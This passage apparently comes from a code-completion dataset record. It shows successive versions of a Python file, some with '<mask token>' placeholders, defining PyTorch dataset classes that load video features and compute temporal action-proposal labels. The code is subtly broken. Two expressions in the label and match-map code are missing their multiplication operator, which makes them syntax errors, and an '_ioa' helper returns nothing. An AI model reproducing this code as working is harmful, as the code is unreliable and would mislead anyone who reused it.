match_score_end.append(np.max(ioa_with_anchors(anchor_xmin[jdx],\n anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1])))\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_start, match_score_end, gt_iou_map\n\n def __len__(self):\n return len(self.video_list)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.boundary_ratio = opt['boundary_ratio']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('Before check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n <mask token>\n\n def _get_base_data(self, index):\n video_name = self.video_list[index]\n anchor_xmin = [(self.temporal_gap * i) for i in range(self.\n temporal_scale)]\n anchor_xmax = [(self.temporal_gap * i) for i in range(1, self.\n temporal_scale + 1)]\n try:\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video_name + '.csv')\n except:\n print('Error in ' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data, anchor_xmin, anchor_xmax\n <mask token>\n <mask token>\n <mask token>\n\n def __len__(self):\n return len(self.video_list)\n\n\nclass ProposalDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.subset = subset\n self.mode = opt['mode']\n if self.mode == 'train':\n self.top_K = opt['pem_top_K']\n else:\n self.top_K = opt['pem_top_K_inference']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self.feature_path = opt['feature_path']\n self.temporal_scale = opt['temporal_scale']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __len__(self):\n return len(self.video_list)\n\n def __getitem__(self, index):\n video_name = self.video_list[index]\n pdf = pandas.read_csv('./output/PGM_proposals/' + video_name + '.csv')\n pdf = pdf[:self.top_K]\n video_feature = numpy.load('./output/PGM_feature/' + video_name +\n '.npy')\n video_feature = video_feature[:self.top_K, :]\n video_feature = torch.Tensor(video_feature)\n if self.mode == 'train':\n video_match_iou = torch.Tensor(pdf.match_iou.values[:])\n return video_feature, video_match_iou\n else:\n video_xmin = pdf.xmin.values[:]\n video_xmax = pdf.xmax.values[:]\n video_xmin_score = pdf.xmin_score.values[:]\n video_xmax_score = pdf.xmax_score.values[:]\n return (video_feature, video_xmin, video_xmax, video_xmin_score,\n video_xmax_score)\n\n\n<mask token>\n\n\nclass BMN_VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n self._get_match_map()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __getitem__(self, index):\n video_data = self._load_file(index)\n if self.mode == 'train':\n match_score_start, match_score_end, confidence_score = (self.\n _get_train_label(index, self.anchor_xmin, self.anchor_xmax))\n return (video_data, confidence_score, match_score_start,\n match_score_end)\n else:\n return index, video_data\n\n def _get_match_map(self):\n match_map = []\n for idx in range(self.temporal_scale):\n tmp_match_window = []\n xmin = self.temporal_gap * idx\n for jdx in range(1, self.temporal_scale + 1):\n xmax = xmin + self.temporal_gap * jdx\n tmp_match_window.append([xmin, xmax])\n match_map.append(tmp_match_window)\n match_map = np.array(match_map)\n match_map = np.transpose(match_map, [1, 0, 2])\n match_map = np.reshape(match_map, [-1, 2])\n self.match_map = match_map\n self.anchor_xmin = [(self.temporal_gap * (i - 0.5)) for i in range(\n self.temporal_scale)]\n self.anchor_xmax = [(self.temporal_gap * (i + 0.5)) for i in range(\n 1, self.temporal_scale + 1)]\n\n def _load_file(self, index):\n video_name = self.video_list[index]\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(self.\n temporal_scale) + '/' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n gt_iou_map = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n tmp_gt_iou_map = iou_with_anchors(self.match_map[:, 0], self.\n match_map[:, 1], tmp_start, tmp_end)\n tmp_gt_iou_map = np.reshape(tmp_gt_iou_map, [self.\n temporal_scale, self.temporal_scale])\n gt_iou_map.append(tmp_gt_iou_map)\n gt_iou_map = np.array(gt_iou_map)\n gt_iou_map = np.max(gt_iou_map, axis=0)\n gt_iou_map = torch.Tensor(gt_iou_map)\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = 3 * self.temporal_gap\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(ioa_with_anchors(anchor_xmin[\n jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(ioa_with_anchors(anchor_xmin[jdx],\n anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1])))\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_start, match_score_end, gt_iou_map\n\n def __len__(self):\n return len(self.video_list)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef load_json(file):\n with open(file) as json_file:\n data = json.load(json_file)\n return data\n\n\nclass VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.boundary_ratio = opt['boundary_ratio']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('Before check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def __getitem__(self, index):\n video_data, anchor_xmin, anchor_xmax = self._get_base_data(index)\n if self.mode == 'train':\n match_score_action, match_score_start, match_score_end = (self.\n _get_train_label(index, anchor_xmin, anchor_xmax))\n return (video_data, match_score_action, match_score_start,\n match_score_end)\n else:\n return index, video_data, anchor_xmin, anchor_xmax\n\n def _get_base_data(self, index):\n video_name = self.video_list[index]\n anchor_xmin = [(self.temporal_gap * i) for i in range(self.\n temporal_scale)]\n anchor_xmax = [(self.temporal_gap * i) for i in range(1, self.\n temporal_scale + 1)]\n try:\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video_name + '.csv')\n except:\n print('Error in ' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data, anchor_xmin, anchor_xmax\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = np.maximum(self.temporal_gap, self.boundary_ratio \n gt_lens)\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_action = []\n for jdx in range(len(anchor_xmin)):\n match_score_action.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_xmins, gt_xmaxs)))\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_end_bboxs[:, 0],\n gt_end_bboxs[:, 1])))\n match_score_action = torch.Tensor(match_score_action)\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_action, match_score_start, match_score_end\n\n def _ioa_with_anchors(self, anchors_min, anchors_max, box_min, box_max):\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.0)\n scores = np.divide(inter_len, len_anchors)\n return scores\n\n def _ioa(self, anchors, gts):\n len_anchors = anchors[:, 1] - anchors[:, 0]\n int_min = np.maximum(anchors[:, 0], gts[:, 0])\n int_max = np.minimum(anchors[:, 1], gts[:, 1])\n np.maximum(np.expand_dims(np.arange(1, 5), 1), np.arange(3))\n\n def __len__(self):\n return len(self.video_list)\n\n\nclass ProposalDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.subset = subset\n self.mode = opt['mode']\n if self.mode == 'train':\n self.top_K = opt['pem_top_K']\n else:\n self.top_K = opt['pem_top_K_inference']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self.feature_path = opt['feature_path']\n self.temporal_scale = opt['temporal_scale']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __len__(self):\n return len(self.video_list)\n\n def __getitem__(self, index):\n video_name = self.video_list[index]\n pdf = pandas.read_csv('./output/PGM_proposals/' + video_name + '.csv')\n pdf = pdf[:self.top_K]\n video_feature = numpy.load('./output/PGM_feature/' + video_name +\n '.npy')\n video_feature = video_feature[:self.top_K, :]\n video_feature = torch.Tensor(video_feature)\n if self.mode == 'train':\n video_match_iou = torch.Tensor(pdf.match_iou.values[:])\n return video_feature, video_match_iou\n else:\n video_xmin = pdf.xmin.values[:]\n video_xmax = pdf.xmax.values[:]\n video_xmin_score = pdf.xmin_score.values[:]\n video_xmax_score = pdf.xmax_score.values[:]\n return (video_feature, video_xmin, video_xmax, video_xmin_score,\n video_xmax_score)\n\n\ndef load_json(file):\n with open(file) as json_file:\n json_data = json.load(json_file)\n return json_data\n\n\nclass BMN_VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n self._get_match_map()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __getitem__(self, index):\n video_data = self._load_file(index)\n if self.mode == 'train':\n match_score_start, match_score_end, confidence_score = (self.\n _get_train_label(index, self.anchor_xmin, self.anchor_xmax))\n return (video_data, confidence_score, match_score_start,\n match_score_end)\n else:\n return index, video_data\n\n def _get_match_map(self):\n match_map = []\n for idx in range(self.temporal_scale):\n tmp_match_window = []\n xmin = self.temporal_gap idx\n for jdx in range(1, self.temporal_scale + 1):\n xmax = xmin + self.temporal_gap * jdx\n tmp_match_window.append([xmin, xmax])\n match_map.append(tmp_match_window)\n match_map = np.array(match_map)\n match_map = np.transpose(match_map, [1, 0, 2])\n match_map = np.reshape(match_map, [-1, 2])\n self.match_map = match_map\n self.anchor_xmin = [(self.temporal_gap * (i - 0.5)) for i in range(\n self.temporal_scale)]\n self.anchor_xmax = [(self.temporal_gap * (i + 0.5)) for i in range(\n 1, self.temporal_scale + 1)]\n\n def _load_file(self, index):\n video_name = self.video_list[index]\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(self.\n temporal_scale) + '/' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n gt_iou_map = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n tmp_gt_iou_map = iou_with_anchors(self.match_map[:, 0], self.\n match_map[:, 1], tmp_start, tmp_end)\n tmp_gt_iou_map = np.reshape(tmp_gt_iou_map, [self.\n temporal_scale, self.temporal_scale])\n gt_iou_map.append(tmp_gt_iou_map)\n gt_iou_map = np.array(gt_iou_map)\n gt_iou_map = np.max(gt_iou_map, axis=0)\n gt_iou_map = torch.Tensor(gt_iou_map)\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = 3 * self.temporal_gap\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(ioa_with_anchors(anchor_xmin[\n jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(ioa_with_anchors(anchor_xmin[jdx],\n anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1])))\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_start, match_score_end, gt_iou_map\n\n def __len__(self):\n return len(self.video_list)\n\n\n<mask token>\n\n\ndef iou_with_anchors(anchors_min, anchors_max, box_min, box_max):\n \"\"\"Compute jaccard score between a box and the anchors.\n \"\"\"\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.0)\n union_len = len_anchors - inter_len + box_max - box_min\n jaccard = np.divide(inter_len, union_len)\n return jaccard\n\n\n<mask token>\n", "step-4": "import numpy as np\nimport pandas as pd\nimport pandas\nimport numpy\nimport json\nimport torch.utils.data as data\nimport os\nimport torch\n\n\ndef load_json(file):\n with open(file) as json_file:\n data = json.load(json_file)\n return data\n\n\nclass VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.boundary_ratio = opt['boundary_ratio']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('Before check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def __getitem__(self, index):\n video_data, anchor_xmin, anchor_xmax = self._get_base_data(index)\n if self.mode == 'train':\n match_score_action, match_score_start, match_score_end = (self.\n _get_train_label(index, anchor_xmin, anchor_xmax))\n return (video_data, match_score_action, match_score_start,\n match_score_end)\n else:\n return index, video_data, anchor_xmin, anchor_xmax\n\n def _get_base_data(self, index):\n video_name = self.video_list[index]\n anchor_xmin = [(self.temporal_gap * i) for i in range(self.\n temporal_scale)]\n anchor_xmax = [(self.temporal_gap * i) for i in range(1, self.\n temporal_scale + 1)]\n try:\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video_name + '.csv')\n except:\n print('Error in ' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data, anchor_xmin, anchor_xmax\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = np.maximum(self.temporal_gap, self.boundary_ratio \n gt_lens)\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_action = []\n for jdx in range(len(anchor_xmin)):\n match_score_action.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_xmins, gt_xmaxs)))\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_end_bboxs[:, 0],\n gt_end_bboxs[:, 1])))\n match_score_action = torch.Tensor(match_score_action)\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_action, match_score_start, match_score_end\n\n def _ioa_with_anchors(self, anchors_min, anchors_max, box_min, box_max):\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.0)\n scores = np.divide(inter_len, len_anchors)\n return scores\n\n def _ioa(self, anchors, gts):\n len_anchors = anchors[:, 1] - anchors[:, 0]\n int_min = np.maximum(anchors[:, 0], gts[:, 0])\n int_max = np.minimum(anchors[:, 1], gts[:, 1])\n np.maximum(np.expand_dims(np.arange(1, 5), 1), np.arange(3))\n\n def __len__(self):\n return len(self.video_list)\n\n\nclass ProposalDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.subset = subset\n self.mode = opt['mode']\n if self.mode == 'train':\n self.top_K = opt['pem_top_K']\n else:\n self.top_K = opt['pem_top_K_inference']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self.feature_path = opt['feature_path']\n self.temporal_scale = opt['temporal_scale']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __len__(self):\n return len(self.video_list)\n\n def __getitem__(self, index):\n video_name = self.video_list[index]\n pdf = pandas.read_csv('./output/PGM_proposals/' + video_name + '.csv')\n pdf = pdf[:self.top_K]\n video_feature = numpy.load('./output/PGM_feature/' + video_name +\n '.npy')\n video_feature = video_feature[:self.top_K, :]\n video_feature = torch.Tensor(video_feature)\n if self.mode == 'train':\n video_match_iou = torch.Tensor(pdf.match_iou.values[:])\n return video_feature, video_match_iou\n else:\n video_xmin = pdf.xmin.values[:]\n video_xmax = pdf.xmax.values[:]\n video_xmin_score = pdf.xmin_score.values[:]\n video_xmax_score = pdf.xmax_score.values[:]\n return (video_feature, video_xmin, video_xmax, video_xmin_score,\n video_xmax_score)\n\n\ndef load_json(file):\n with open(file) as json_file:\n json_data = json.load(json_file)\n return json_data\n\n\nclass BMN_VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n self._get_match_map()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n 